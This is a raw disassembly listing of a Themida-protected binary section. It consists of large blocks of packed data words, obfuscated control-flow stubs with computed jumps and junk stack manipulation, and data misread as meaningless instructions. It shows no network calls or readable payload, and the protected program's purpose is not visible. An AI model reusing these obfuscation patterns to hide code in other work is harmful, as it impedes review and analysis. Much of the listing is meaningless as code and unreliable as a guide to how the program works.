9EC18F56h, 0F412D850h dd 8EAE6B0Bh, 0BC4AEEC7h, 0B603DDF1h, 0DB2D65F7h, 93BC042Dh dd 0AA50FB05h, 4DEB2A49h, 349F2B04h, 52DB5811h, 1BAD59E2h dd 0BCAFBEBBh, 9778AE89h, 0C669BDF4h, 0BE38EEA7h, 0EB27BD37h dd 0BD2E8A97h, 4E0258FCh, 4750C83h, 14FF2B04h, 0B9F23F72h dd 8853F57Fh, 7AC35703h, 254537D1h, 684BE5D1h, 5B597h dd 3D741300h, 6C2946E9h, 9AD375DEh, 0CA8FA30Ch, 0FFB2D37Ch dd 858D2CABh, 0B21DA9E4h, 0E649DD90h, 18BB0F46h, 7EEE3C75h dd 6B5E5AECh, 0E624B603h, 155CFF39h, 3D741788h, 45FE5EE9h dd 0F5F867A1h, 80CAB5FFh, 0F908134Ah, 2AF9840h, 0ABBCF8h dd 0B273D8B6h, 2D6805EEh, 7332F8Bh, 33DA1477h, 6D000000h dd 0D80EB5E7h, 54FAEh, 7EC711B6h, 1389FCE0h, 6EB3FEA0h dd 4FE3443Dh, 2474A50Ah, 6AEC311Ah, 0B5FFDA2Ah, 3644ED46h dd 1477D55Ah, 108BDh, 5CFF8600h, 18528815h, 969357E3h dd 2CF325DDh, 48D9460Bh, 5EC76C25h, 650763Fh, 0D29A65DCh dd 449E994h, 3958E9Fh, 0CE7053B9h, 0F50D1E83h, 95BD4CBDh dd 72F42414h, 0AF57DD23h, 1694DD80h, 5AC78EADh, 19D94A8Ch dd 7FB2B99h, 57F1C5C5h, 0BB94BFAFh, 500AAA7Dh, 0ECF8B37Ah dd 74928B5Eh, 71A7EA8Bh, 9E2A51EBh, 0D33CB600h, 65B6FBBEh dd 0E4220D33h, 9C4AF123h, 0AB403D6Ah, 83A407BCh, 438561CEh dd 0BCAB4047h, 8D39123Dh, 0AB403F7Bh, 312A05BCh, 87C16F95h dd 0BCAB4083h, 0EC2CD641h, 0D6BCAB3Fh, 0CE313B7Dh, 9C3AE0ADh dd 0AB402E6Ah, 0CA3B14BCh, 0CEB4E4A9h, 5F89C465h, 0EC7CE7E7h dd 5B79CAE9h, 0B9000004h, 0F053D79Eh, 1F800643h, 49EA3079h dd 79DA6025h, 8A1195D8h, 470A2BE7h, 733E60C3h, 0A1E88C37h dd 0D29BBA65h, 0F00AD054h, 0B6036CB8h, 0FFE74C8Ah, 6997135Eh dd 0C00692EFh, 0DA5E19BFh, 2B7F3655h, 0EB5E70Ch, 54FAED8h dd 1A35B600h, 5515595h, 3352B600h, 9F29357Ah, 0B600059Bh dd 3C5DCE69h, 0C06D2C71h, 0FB50D05Fh, 0F84C383Ah, 0ABAB1477h dd 0BD000000h, 10B5F517h, 0A48FB600h, 5CFF2F74h, 76178815h dd 2174F63Bh, 82AF57DBh, 4A0322E3h, 4FDBB4E5h, 0D38041E4h dd 0C6100996h, 7A534223h, 83201960h, 85219A3Ah, 9D1843h dd 44E5CEB6h, 0B661AF09h, 0DE65D770h, 3C4A9E28h, 1F38BCABh dd 2A6708EBh, 397013FCh, 4EF15FFh, 218E2A6Fh, 757AC00h dd 408EB107h, 0C8AFB157h, 0C2E1EC7Ch, 37541h, 0FDB4D300h dd 2C6906A9h, 5A13359Eh, 8ACF63CCh, 0BFF2933Ch, 45CDEC6Bh dd 72DD6924h, 0A6099DD0h, 0D87BCF86h, 3EAEFCB5h, 6E9E9A2Ch dd 2664B603h dd 135EFFF9h, 40092C97h, 30BADDFAh, 0DAE1D271h, 703F79A3h dd 861F84CDh, 0F218AEE7h, 0D7A4A778h, 8B3D1E61h, 0AF58CF8Fh dd 0B7E1DA75h, 6ECE3D16h, 649731D5h, 5EB600E5h, 11ABD1F5h dd 0B600E519h, 40E840EBh, 0CECA7C9Ah, 90B600E4h, 0E53276h dd 0A72710B6h, 82DA2C8Ch, 395A365Bh, 5F5BED9Bh, 255A365Bh dd 4FF5110Ah, 298FC264h, 0DE688CDFh, 29DD7660h, 68417983h dd 0C36260DEh, 0F2F4258Ah, 0C45E859h, 0DE7E3FACh, 76374165h dd 0F4B7E48Dh, 0F939718Bh, 200B60DDh, 0C17BE137h, 67896236h dd 7587230Ch, 0B3D8789Ah, 0CD642C6h, 594194E6h, 607A3758h dd 7EBA441Bh, 4FDB92B1h, 0D00841E4h, 419E7F4Ah, 7B98694Ah dd 0D9000002h, 10B3F7BEh, 3FE02663h, 69CA5019h, 993A80C5h dd 0EA71B5F8h, 672A4BC7h, 93DE8023h, 0C188AC17h, 0F2BBDA45h dd 902A30B4h, 0B6036F98h, 0FF072C6Ah, 0F88155Ch, 0B3FA9EADh dd 867F3652h, 0EB0B2660h, 5EF9B5FFh, 0EB499C8h, 0F21184CCh dd 0AE0AF36Bh, 0DA00BB19h, 0A81039A0h, 0B8200BBCh, 0DA93B112h dd 12D44455h, 79367F0Eh, 76942F8Dh, 0DE8E65D4h, 94155F7Fh dd 5C5CEE6Bh, 267FDE82h, 0BDD7F50Dh, 3A208D66h, 302E6A9Ch dd 0D1C7FDEh, 1C6F4D35h, 0C553FC0Eh, 0BD69D242h, 8A3A7C0Bh dd 9EC46286h, 8A3A2C6Ch, 953D1686h, 868A3A95h, 0AA54C46Fh dd 0BD3F6581h, 9C38143Ah, 32FD3B15h, 47459713h, 0FE433788h dd 0EEF028D2h, 79D28689h, 0FA993A80h, 38FF15B3h, 9211229Eh dd 19D31h, 155CFB00h, 44012E91h, 723B5DC6h, 0A2E78B34h dd 0D79ABB64h, 6DA5D453h, 9A0581CCh, 0CE71B5F8h, 0A3E7AEh dd 1696145Dh, 7076B2D4h, 0E4CB603h, 155CFF21h, 16AD0F88h dd 0F20F56F0h, 5AF5B5FFh, 50B99DCCh, 19A347FCh, 0BCA807F2h dd 276A0BF4h, 84E44FF1h, 9AF4A642h, 0EDB7E575h, 0A8AD54ADh dd 4840FA45h, 3A759BA8h, 9B4F3811h, 43B7BA61h, 2AF887Ch dd 7AA01BB9h, 0EF2135C0h, 3EA12B82h, 0B2F6103Ah, 9082EFB2h dd 1E592FA7h, 0A58EB0F8h, 5AF8DB01h, 2899921Fh, 42ED4B06h dd 0D40E223h, 5FA996A0h, 7A5FDBA9h, 0B112A881h, 7C355392h dd 99C96583h, 0E8CB2638h, 0E117h, 51183F00h, 80C56AD5h dd 0B6FF993Ah, 0E6A3CF70h, 135EFFA0h, 0A9690897h, 0DE41C588h dd 0AB5F1BCh, 3CE7236Ah, 52CA5019h, 703A7E88h, 0C208B603h dd 9D5CFF65h, 5A1738FDh, 0F2EB3C61h, 0A80BB1ADh, 800CA87h dd 0DEAF57D7h, 57D76CACh, 0EDFD56AFh, 0E351D642h, 9B04A258h dd 0E761B7FAh, 0B6000174h, 7EBACC6Ah, 44B60001h, 83BFD30Ah dd 694216B3h, 901601CFh, 883E8537h, 0A8ED8162h, 645AC600h dd 0F28BCABh, 2B6201A2h, 3A7F14FFh, 5EE14FEh, 96872C69h dd 56FE9D02h, 0E28F1978h, 0A9217AA7h, 0EBC4C035h, 0DEF68446h dd 2E9F0C1Ah, 96DF7E85h, 0C58CAF10h, 0EEABC758h, 8C15BE41h dd 28609AC0h, 7B0C1ADFh, 0F95294DDh, 44DF0BFh, 0E31E5886h dd 0D1FF9391h, 0F6951A9Eh, 39172BFh, 0B4000000h, 58FFCBB0h dd 70138C11h, 92BF439h, 2042E340h, 3E5FC06Dh, 0D4752E73h dd 0E78B1499h, 84A47DA2h, 92BF60CDh, 68FA4AD7h, 5115h dd 68242C89h, 4CEBh, 68241C89h, 1FA5h, 56242C89h, 0AB8F08BEh dd 8BF38906h, 0C4812434h, 4, 242C8B54h, 4C481h, 0EC810000h dd 4, 8F241C89h, 2C8B0845h, 0E1895124h, 4C181h, 0C1810000h dd 4, 5C240C87h, 50241C8Bh, 405E089h, 5000000h, 4, 5C240487h dd 0FCE28DE9h, 2EDE72FFh db 0DEh ; --------------------------------------------------------------------------- loc_583545: ; CODE XREF: Themida_:loc_5828A2j mov eax, 6AB9AC6h add eax, ebp jmp eax ; --------------------------------------------------------------------------- dw 2261h dd 9B55E98h, 172F2755h, 791F15D6h, 794F0A35h, 2BED4A8Fh dd 62826E8Ch, 0E49B1BE5h, 0D2F86044h, 5677632Dh, 0E2DC74D0h dd 0F3BE3DF3h, 56E51697h, 90584BFBh, 0D29350CAh, 697B7260h dd 74BE6C4Ch, 398A79D2h, 7CEB44E9h, 19034075h, 0C6A40241h dd 31E9501Dh, 0C0000000h, 524A58h, 0Bh dup(0) ; --------------------------------------------------------------------------- jmp loc_583B38 ; --------------------------------------------------------------------------- db 2Fh, 8, 41h dd 70355AC5h, 0A6EF892Ah, 0D693BF60h, 34EEF50h, 99793887h dd 0CE71B5F8h, 0FAA5E1ACh, 2C97135Ah, 62FA4009h, 724A4EF8h dd 0F238B603h, 155CFF55h, 3B761788h, 0A52144EFh, 57D72763h dd 623815AFh, 5678C726h, 0FD0FBB94h, 0AF5874BDh, 6EB3AC87h dd 52DF96B5h, 0B4F9BCD1h, 0F9C36CD9h, 74F12953h, 78D3AF58h dd 0DCC6F30h, 0A1FA276Eh, 90B112C8h, 4EF15BDDh, 44DEF2Eh dd 11958E9Fh, 2F4F8EAEh, 7BEC3D62h, 1D0E93D6h, 426FF24h dd 3965E449h, 75316993h, 0D172AF58h, 0E9E14A9Ch, 70FFF4Fh dd 0A90296E1h, 2A630108h, 3B7E13FCh, 0DADE68F6h, 0A8AF580Bh dd 0B802968Fh, 0F03D7417h, 580C2F76h, 951E9DAFh, 0DFE3A985h dd 754C12h, 0BAD70000h, 0D6AEEA1Ch, 0BB94AF57h, 1793B27Dh dd 57D6B5F5h, 0BD6687AFh, 0A2111314h, 911EF720h, 57DC4F49h dd 753EBDAFh, 0DFD38965h, 16C12h, 0FFB70000h, 198A1752h dd 43953174h, 95AD2CADh, 0A3C3243Ah, 48D94AEEh, 0E4BE72Ah dd 7B178815h, 0F30F13Eh, 8576DD42h, 0DC1E9D1Ch, 0B31414B6h dd 45EEAF58h, 0B0B778D3h, 0DF40C683h, 0EED1F5BCh, 8B9C014Ch dd 0BA78A72Dh, 0DEC4A030h, 0FD3B279Ch, 0D75C1132h, 6764C10Bh dd 26759712h, 45002DF2h, 33FC59D8h, 0C0460B2Ch, 51753C5Fh dd 0DBF19B07h, 92068B77h, 4CC87031h, 5861FE3Ah, 726BC4AFh dd 9C9C2E54h, 66AF5862h, 18F86BCDh, 4E0F2B3h, 312DF5Fh dd 97h, 125BFAE5h, 59BA9D86h, 7012733Ah, 1334FB3Dh, 0B7FCB9D6h dd 0A3004DEEh, 0D375918Ah, 0AF57D6D7h, 4A982ADh, 6FB4FD9Bh dd 5BD895B6h, 83E4A9CAh, 8504A9E0h, 0A5088728h, 0C7686F30h dd 0F2933C8Ah, 9DB172BFh, 0A3C122D8h, 0B8DC45EAh, 58E218F1h dd 0AF57D760h, 3CAF0922h, 2489C063h, 0A97DA7Bh, 0F6852E87h dd 5260C1AAh, 12DFD496h, 62CD5F99h, 1282838Dh, 347486h dd 0FFCF0000h, 0CF7135Eh, 11F2266Bh, 78A5EC90h, 0BBC26348h dd 0E5CB369Ah, 5196C28Bh, 0FF052278h, 408A1752h, 0AF57D745h dd 737F20B7h, 12DFD687h, 166h, 59FFB900h, 73129310h, 238C3Ah dd 0CA0D8CA8h, 413AC29Bh, 0FE6DCBDCh, 0CAD1527Bh, 18A3E7AEh dd 0BDDB0FB4h, 582B0F0Bh, 0DE5AF5AFh, 3757F214h, 0CF09B600h dd 0B9DB8B9Bh, 2ED058CDh, 9D47EF8Dh, 0B169DD17h, 0F9261F08h dd 0FE4C0528h, 327F3655h, 3BEE28h, 0D0515AB6h, 0A7E3AAC9h dd 931059FCh, 8C3A7312h, 3BE42466h, 75DEB600h, 25C14023h dd 0CB428BD3h, 0AD0BF86Ch, 0A9236D36h, 0A40BD74Bh, 0B2BBD2D8h dd 26FB805Ah, 0F2911E9Ah, 0D3CF6FBBh, 3A147739h, 151h dd 0A4FE3CCh, 0FF2474A5h, 0D80EB5E7h, 723AEh, 3EB3C5B6h dd 0D5F03C29h, 4CE7298Fh, 9B325C9Eh, 4F90B020h, 8AA97AE9h dd 0B9DC47C3h, 53F2B3F0h, 5D75B5D7h, 0E44FB600h, 5AAEF83h dd 33F63B14h, 7312199Ah, 3238C3Ah, 60C8E14Eh, 5046329Ah dd 64A11477h, 7A000000h, 0DF0BB6E7h, 57D74DADh, 83B0132Fh dd 0B64059C6h, 2605A755h, 0DD63B579h, 0AADC54FAh, 2F58746Eh dd 2902FB54h, 0D4755E84h, 0D1C91F99h, 0C72F5873h, 77D8C768h dd 98B51ECCh, 81C86CDDh, 79A7CD17h, 5873CBCFh, 2D9EB92Fh dd 0CAE3400Dh, 7480986Eh, 6142AF58h, 711D8EC7h, 0C5BEEF34h dd 97FE41h, 0BAD90000h, 25733A59h, 5D893262h, 0A542Bh dd 98052EB6h, 84A56407h, 0E94AD0C9h, 409E034Ah, 9A8E01Ah dd 0B19AB600h, 0AA4E167h, 9B10B600h, 0CE6D561Ah, 0EF8E1187h dd 75A760A6h, 11F218CEh, 0D89DB17Ch, 0C469425Bh, 1D8345D3h dd 0C3BCABA7h, 0AAF7B2E0h, 3E192771h, 0C2072788h, 0A4F4EDA0h dd 0FE3F5EC7h, 0FB38115Ch, 0D845082Ah, 0A6C0F802h, 0A982BCABh dd 0D05D1438h, 0B544ED5Ah, 0E100A10Ah, 95DC80B3h, 52FC0EBCh dd 30C35742h, 3F658307h, 57428D8Dh, 5CDC77C3h, 0EB5E757h dd 7300AED8h, 69C2B603h, 71385BC4h, 2AEB8A35h, 0C56A430Ah dd 0DE97B619h, 6CE48C5Ah, 9CBF0AE5h, 0B6D748D5h, 8684B6FBh dd 84ACF43Ch, 0C66FC44Bh, 0AE77E437h, 79CD84A7h, 0B1FEB7D6h dd 0E30742F0h, 8A175200h, 0A5A40791h, 0FDA0A708h, 278876B4h dd 41EE4A07h, 2464A622h, 1E0AE569h, 0BD75C35h, 902D79C1h dd 9D28A2EFh, 13FC3C5Eh, 3, 0FFCBB036h, 138C1158h, 2BF43970h dd 42E34009h, 5FC06D20h, 752E733Eh, 8B1499D4h, 0A47DA2E7h dd 0BF60CD84h, 0FA4AD792h, 81E18951h, 4C1h, 4E98100h, 87000000h dd 895C240Ch ; --------------------------------------------------------------------------- sub al, 24h push ebp mov ebp, esp add ebp, 4 sub ebp, 4 xchg ebp, [esp] pop esp mov [esp], ebx push eax mov eax, esp add eax, 4 sub eax, 4 xchg eax, [esp] pop esp mov [esp], ecx push ebp push 7A7F0A58h pop ebp shr ebp, 1 and ebp, 7CF57112h and ebp, 3AF40BBh add ebp, 6869BD0h mov ebx, ebp mov ebp, [esp] add esp, 4 push esp mov ecx, [esp] add esp, 4 push 0CDAh mov [esp], ebx pop dword ptr [ecx+8] mov ecx, [esp] push esi mov esi, esp add esi, 4 add esi, 4 xchg esi, [esp] pop esp push dword ptr [esp] pop ebx add esp, 4 jmp loc_5517CE ; --------------------------------------------------------------------------- dw 567h ; --------------------------------------------------------------------------- loc_583B38: ; CODE XREF: Themida_:005835D8j mov eax, 6ABA097h add eax, ebp jmp eax ; --------------------------------------------------------------------------- db 3Fh, 65h, 8Fh ; --------------------------------------------------------------------------- pop esi pop ds mov [edi], eax adc [edi-73945457h], bl cmp cl, [ebx] add [ecx], esp jl short loc_583BCA daa retn 2A3Eh ; --------------------------------------------------------------------------- dd 8191AE3Fh, 128A0918h, 304FFB4Fh, 2F98D246h, 64452A74h dd 55BBCC73h, 27F8E555h, 6936FE2Bh, 0E5D8AB04h, 29144E49h dd 66CEAD1Bh, 88D3F307h, 70310376h, 0A40E6C28h, 5EAB567Dh dd 54A6DD26h, 820DBD09h, 0A9164612h, 51216A65h, 8A685F55h dd 75E978h, 66600000h, 4A8D88Ch, 35840Fh, 16A0000h, 31F9B5FFh dd 858D06A8h, 6AB6971h ; --------------------------------------------------------------------------- call eax loc_583BCA: ; CODE XREF: Themida_:00583B52j mov [ebp+6A8268Dh], eax mov edi, esi shr edi, 0Ch push 20040000h push 0 push 2 push edi push 1000Dh call dword ptr [ebp+6A8268Dh] jmp loc_583C21 ; --------------------------------------------------------------------------- mov byte ptr [ebp+6A815D5h], 56h push 0A9C530DFh push dword ptr [ebp+6A80F95h] lea eax, [ebp+6AB6971h] call eax mov [ebp+6A81405h], eax lea eax, [ebp+6A80755h] push eax push 20h push 5 push esi call dword ptr [ebp+6A81405h] loc_583C21: ; CODE XREF: Themida_:00583BEAj popa retn ; --------------------------------------------------------------------------- shl eax, 6 jmp short loc_583C61 ; --------------------------------------------------------------------------- dd 0C20000h, 0C202CCh, 0C202E4h, 0 dd 45D4AD10h, 74CDA175h, 20DCA970h, 4DD7ADFBh, 4CDDEA2Bh db 4Fh byte_583C4D db 0C4h, 0F7h, 74h ; CODE XREF: Themida_:00583C6Bj dd 20F588D5h, 50F6B086h, 48EDAA01h, 44D8A140h db 19h ; --------------------------------------------------------------------------- loc_583C61: ; CODE XREF: Themida_:00583C26j movsb shl dword ptr [eax], cl fldcw word ptr [edx+edi*4] and [esi-3Ch], al cdq jge short near ptr byte_583C4D cdq loc_583C6E: ; CODE XREF: Themida_:00583C7Bj xor [ebp+esi*4-40h], cl cmp [esp+ebp*8-40h], ah lodsd and [esp+eax*8-4], ah jnz short loc_583C6E enter 0FFFF97B6h, 0D3h dec edi add al, 0D5h cdq insb mov edi, 8839CBABh mov ds:4AB794Fh, ah push ecx mov bl, 88h into inc edi add al, 0F9h jp short loc_583D06 mov edi, 3ACD4720h popf lock jmp near ptr 0B0E462B7h ; --------------------------------------------------------------------------- dw 70A0h ; --------------------------------------------------------------------------- adc eax, 9A98794Fh sar byte ptr [ecx+0C411820h], 27h pusha retn 0BD34h ; --------------------------------------------------------------------------- dd 261365C8h, 78E217CDh, 0D50799Ah, 54B9C224h, 98EA9451h dd 20B9C09Ah, 270C4118h, 0BD34C260h, 26135AFFh, 78E217CDh dd 70B9AEE5h, 20B9C764h, 0E3E1E446h, 4FD4D7Bh, 4FD4595h dd 20B9D2CCh, 0E3E98464h, 0A98A453Bh, 88AE499Ch db 8Ah, 4Fh ; --------------------------------------------------------------------------- loc_583D06: ; CODE XREF: Themida_:00583C98j jns short loc_583D52 inc esi xchg eax, esi push ecx and esp, [ebx] les edi, [ecx-1CF83500h] test eax, 0A1BDE09Ch and al, ah mov ebp, 0B9C4323Ch bound ecx, [ebx+7] db 65h pop ebp sbb cl, [edi+1BC4E9F4h] xchg eax, edi inc eax jnb short loc_583D7D sub al, 71h ; CODE XREF: Themida_:00583D4Aj movsd insb mov edi, 91C97079h mov eax, ds:0A57FA527h out 0D1h, eax adc [esi], esp dec edi scasb mov ecx, 0B9C76472h and [esi-1Ch], al jecxz short near ptr loc_583D2E+1 jns short near ptr loc_583D99+2 in eax, dx add al, 95h inc ebp loc_583D52: ; CODE XREF: Themida_:loc_583D06j std add al, 0CCh sar byte ptr [ecx-14799BE0h], 1 ; CODE XREF: Themida_:00583D8Fj jecxz short near ptr loc_583D62+4 xchg eax, ebp mov dh, 0ADh sbb esp, eax loc_583D62: ; CODE XREF: Themida_:00583D5Bj mov ecx, 23ACD520h cmp al, 39h dec esi mov dh, 0ABh sub eax, 0C120B9C4h xchg eax, esi jmp near ptr 0E44E04E9h ; --------------------------------------------------------------------------- db 78h dd 41D9F56Bh db 68h ; --------------------------------------------------------------------------- loc_583D7D: ; CODE XREF: Themida_:00583D2Cj pushf cmp ds:9E09227Ch[edi], ah scasb mov ecx, 0B9C7AE71h and [ebx], ah in al, 0E0h jecxz short near ptr loc_583D55+4 dec ebp cmc add al, 0CCh loc_583D95: ; CODE XREF: Themida_:00583DEAj inc ebp std add al, 60h loc_583D99: ; CODE XREF: Themida_:00583D4Cj sar byte ptr [ecx-177ACDE0h], 1 jecxz short near ptr loc_583DDE+3 cmp ecx, ds:4ABF6C83h[esi*4] inc esi xchg eax, esi push ecx and esp, [ebx] ; CODE XREF: Themida_:00583DEDj les edi, [ecx-1CF83500h] test eax, 0A1BDE09Ch and al, ah mov ebp, 0B9C43238h bound ecx, [ebx+7] xchg eax, edx pop esp sti xchg eax, esp test eax, 0B9C440C8h and [eax+6Bh], al jnb short loc_583E49 out dx, eax and eax, 0DD15AD30h adc [esi], esp db 3Eh dec ecx cmp al, 51h pop ebx outsd loc_583DDE: ; CODE XREF: Themida_:00583D9Fj mov edi, 5195194Ah and ecx, [esp+eax*8+71F00B9h] loopne loc_583D95 outsd loopne near ptr loc_583DAB+1 mov eax, ds:3BBDE0D5h enter 0FFFFB9C4h, 61h xor eax, 94FEC307h lodsb stc bound edx, [eax] and edx, [edx+11EE5595h] db 26h mov ecx, 7420D314h sub al, 0BAh and [ecx+0B7F99C4h], dl wait xor [eax+eax*2-40h], bl cmp [esi+edx-40h], ah mov eax, ds:0FEC41920h ja short loc_583E74 jmp far ptr 0A9EFh:50A532E1h ; --------------------------------------------------------------------------- dd 888D99A6h, 0ADB89A97h, 2611CA65h, 20D3C00Eh, 20BA2C60h dd 7A99C419h, 74309E4Fh db 62h ; --------------------------------------------------------------------------- loc_583E49: ; CODE XREF: Themida_:00583DCEj sar byte ptr [eax], 64h pop es shr byte ptr [ebp-43B6EE0h], 72h or edi, [edi+ebx*8-67h] fld tbyte ptr [esi+eax-1BB054C9h] loc_583E5F: ; CODE XREF: Themida_:00583E8Fj enter 0FFFFC41Dh, 0B9h and [esp+edx*8+37CD20B9h], cl jmp near ptr 0FDA82B1Ah ; --------------------------------------------------------------------------- db 4 dd 0A803A295h ; --------------------------------------------------------------------------- loc_583E74: ; CODE XREF: Themida_:00583E23j db 26h dec edi mov ecx, 0AC82DD46h test eax, 9ABDE076h fstp dword ptr [esi] shr byte ptr [esi-2Ch], cl scasb mov ecx, 0B9C7AE77h and [ebx], ah in al, 0E6h jecxz short loc_583E5F dec ebp lds eax, [esp+ecx*8] inc ebp std add al, 60h sar byte ptr [ecx-117CCDE0h], 1 jecxz short loc_583F05 sub al, 0BDh and [esp+eax*8-3BB9DDABh], cl jmp near ptr 0BA1C7177h ; --------------------------------------------------------------------------- and [esi], bh leave cmc movsb retf ; --------------------------------------------------------------------------- db 8Bh, 0B8h, 0CFh dd 0B490C615h, 948AC946h, 70E79D93h, 0C9E396ECh, 20B9C44Ah dd 0C9482655h, 0FC531832h, 2D69A56Bh, 4FD4F05h, 20B62C36h dd 0D206C419h, 87778036h, 64E12416h, 32C93957h, 40EB941Ah dd 9588CBA9h, 7AE19ED5h, 0DB32C4B9h, 249D8090h db 0EAh ; --------------------------------------------------------------------------- loc_583F05: ; CODE XREF: Themida_:00583E9Fj dec edi inc ecx js short loc_583F35 ; --------------------------------------------------------------------------- db 0C4h, 0EEh, 0C8h dd 20B9C420h, 7F7A9BB1h, 249DB841h, 249D80E5h, 20B9C42Eh dd 0B77A935Eh, 2A63E016h, 0A513B896h, 20D3C449h, 20BA2CC0h db 0C8h ; --------------------------------------------------------------------------- loc_583F35: ; CODE XREF: Themida_:00583F07j les ebx, [ecx+309DA779h] insb push ss sar byte ptr [eax], 64h cmp eax, 8C20A4C0h ; --------------------------------------------------------------------------- db 0C4h, 0F8h, 71h dd 0D1143085h, 188B6F81h, 0ABAE976Ah, 0A9693B33h, 88BF0DD1h dd 3B3C4D34h, 4ABF6FBBh, 2351918Ch, 0B9C446h, 0A9E4077Eh dd 0A1BDE0FDh, 35BDE08Ch, 65B9C464h, 48B10767h, 1107992h dd 9ADFC224h, 0D8326A50h, 20BB0826h, 3F3C4D91h, 0A3BF6F6Ah dd 0A530DCA4h, 26126611h, 0CC00042Ah, 0D3B9C48Eh, 8D0C4FECh dd 70BF6C2Dh, 3ED87918h, 0AAE3C260h, 0F53C02AEh, 63BF6C27h dd 0C8EEC473h, 20B9C48Fh, 7F7A9B66h, 249DB8AAh, 249D8010h dd 20B9C4DCh, 0BE7A9323h, 3A7315B3h, 0A7B6DF91h, 20B9C48Ah dd 2B304975h, 0FFD1C28Bh, 0A10EE937h, 0ED38E0FCh, 7007EF2Eh dd 0DFBE9657h, 88B651ACh, 72B9AE8Ah, 20B9C7AEh, 0E3E3E423h dd 4ED4DCBh, 4FD45CCh, 20B9D060h, 0E3EB8632h, 5134ED06h dd 0ADBF6C89h, 8BD0B5C3h, 76B9AE25h, 20B9C779h, 0E3E7E4C8h dd 4CD4D3Ah, 4FD4536h, 20B9D81Dh, 0E3EF828Ch, 1355C07Fh dd 4FD4D126h, 992C4F4Dh, 0DFBF6CD2h, 0C50CEDB4h, 0A9BF6C34h dd 88A0659Ch, 73B9AE8Ah, 20B9C7AEh, 0E3E2E423h, 4E54DCAh dd 4FD45CCh, 20B9D060h, 0E3EA8732h, 0A534C599h, 0ADBF6CA3h dd 88B181C3h, 71B9AE25h, 20B9C779h, 0E3E0E4C8h, 4F54D3Dh dd 4FD4536h, 20B9DF1Dh, 0E3E8858Ch, 0A260D020h, 502BF26Ch dd 793572C0h, 144059E1h, 0A530C2CCh, 2611E173h, 0C8ECC473h dd 20B9C48Fh, 7D7A9966h, 249DA8AAh, 249D8010h, 20B9C4D0h dd 0B37A9121h, 0A719D977h, 20B32C4Ah, 9B66C48Ch, 4F0B6E75h dd 76CAE448h, 20B9D578h, 0CC9B3C8h, 48479421h, 0FF2BFB3Ah dd 9937C2A7h, 7EE0912Bh, 356C4180h, 4AEAC28Bh, 23519391h dd 0B9C4C8h, 0A9E6073Bh, 0A1BDE04Eh, 37BDE05Dh, 67B9C48Ch dd 39220711h, 0F033B457h, 20B9C079h, 91F11CC8h, 29509498h dd 3EB9C432h, 641C0EEAh, 89ECE26Fh, 249D80CDh, 20320BA8h dd 249D8018h, 20B945C7h, 4AE1C464h, 23519532h, 0B9C419h dd 0A9E007D5h, 0A1BDE00Ah, 35BDE067h, 61B9C491h, 40C20799h dd 71ED32E4h, 20BF403Dh, 0BD88C419h, 2611E51Dh, 3735CB19h dd 40B9C423h, 26A84118h, 2A50C260h, 0D6B9C464h, 9034CC24h dd 0E0FFC734h, 9546A54Eh, 2611CBD3h, 2CD479AAh, 9532C239h dd 2611E5DDh, 49C841E9h, 20D3C299h, 20BA2C4Ah, 7B99C48Ch dd 7C309F85h, 6438C007h, 20ADC0B5h, 73FAC4C8h, 0AEB62DA7h dd 20B9C430h, 95920C92h, 2611F0C9h, 20D314B9h, 20BA2C75h dd 7E99C491h, 54309A0Bh, 6438C040h, 20ACC016h, 76FFC419h dd 0C94C124Fh, 20B9C456h, 76941188h, 44CCAB4Dh, 46DFF98Fh dd 63BC8D7Dh, 3B8841BBh, 0AD32C2B1h, 2611EE99h, 356C4180h dd 4AEAC28Bh, 23519391h, 0B9C4C8h, 0A9E6073Bh, 0A1BDE04Eh dd 38BDE05Dh, 67B9C48Ch, 0F6120711h, 0D9CAA002h, 20B9C079h dd 387D77C8h, 0FF06A2BCh, 0DE3294DDh, 249D8092h, 20A64D83h dd 72E9C446h, 0F8976C9Ch, 0C988CBD8h, 20B9C4C7h, 0CD013641h dd 243DAB37h, 0D041E50h, 7A16BD62h, 40B94F1Eh, 6F02A243h dd 414A4FF6h, 19807BAEh, 4FD4D05h, 20D39C36h, 20BA2C49h dd 7899C48Ch, 64309C85h, 6438C007h, 20AEC0B5h, 70F9C4C8h dd 88F873A7h, 20B72CFEh, 0BCB0C419h, 4A48216Dh, 3B11C286h dd 8E4D1A3Bh, 263BCBCEh, 40B9C4C8h, 41D99C33h, 0B50C3B53h dd 0DCBF6C16h, 49C84101h, 20D3C2EDh, 20BA2C70h, 7B99C491h dd 7C309F0Bh, 6438C040h, 20A0C016h, 73FAC419h, 1618124Fh dd 0DF43430Ah, 20B22DF3h, 51ABC491h, 31929907h, 4A2A9D4Dh dd 0D93C4D08h, 4ABF6C0Ch, 2351948Ch, 0B9C446h, 0A9E1077Bh dd 0A1BDE0D5h, 39BDE08Ch, 60B9C464h, 0E7D10762h, 0C0D08AB6h dd 223BCBECh, 92B9C446h, 8534ED1Ah, 41BF6CBBh, 356C410Eh dd 0AAFEC2CCh, 2138CBE2h, 0D8B9C419h, 4489BAE4h, 2700A2C5h dd 48D453Bh, 14032946h, 20B940C7h, 9546C464h, 2611CBA7h dd 0A5343D92h, 2612ADFDh, 0C8EFC42Ch, 20B9C420h, 7E7A9AB1h dd 249DB041h, 249D80E5h, 20B9C429h, 467A925Fh, 0ADE65160h dd 0A9CCFA6Bh, 88A5E1BEh, 4A693B97h, 235191C8h, 0B9C464h dd 0A9E4076Fh, 0A1BDE075h, 39BDE0C8h, 65B9C446h, 90140776h dd 0E2F92C1Ch, 0C9734FAEh, 20B9C468h, 0FD55AA86h, 6E426112h dd 41551671h, 0CD841CFh, 20D3C28Bh, 20BA2CC4h, 7D99C4C8h dd 4C3099A7h, 6438C016h, 20ACC03Dh, 75FCC48Ch, 2B094085h dd 88B9B5B6h, 0F53C0297h, 67BF6CDDh, 0C8EBC40Eh, 20B9C431h dd 7A7A9E39h, 249D9005h, 249D80C7h, 20B9C43Eh, 467A96D3h dd 302617CCh, 0A6FA1A45h, 9C03A29Dh, 20BD2C25h, 30C3C48Ch dd 72E9459Ah, 20B9CCCAh, 99B10691h, 3141A181h, 7088CB5Ch dd 3F06A260h, 7A88CB1Ch, 70E19ED4h, 0FDFCF2F8h, 4FD4F1Fh dd 17047B95h, 2032E03Bh, 249D80EDh, 53DA7B54h, 75B9AE41h dd 20B9C764h, 0E3E4E446h, 4D54D7Eh, 4FD4595h, 20B9D0CCh dd 0E3EC8164h, 52C4F91h, 40BF6C05h, 30A04907h, 0AAB6C2EEh dd 20B9C423h, 0EF32A2F0h, 2F2C7137h, 0BD90C2CCh, 2611D00Bh dd 49C84194h, 20D3C227h, 20BA2C11h, 7F99C423h, 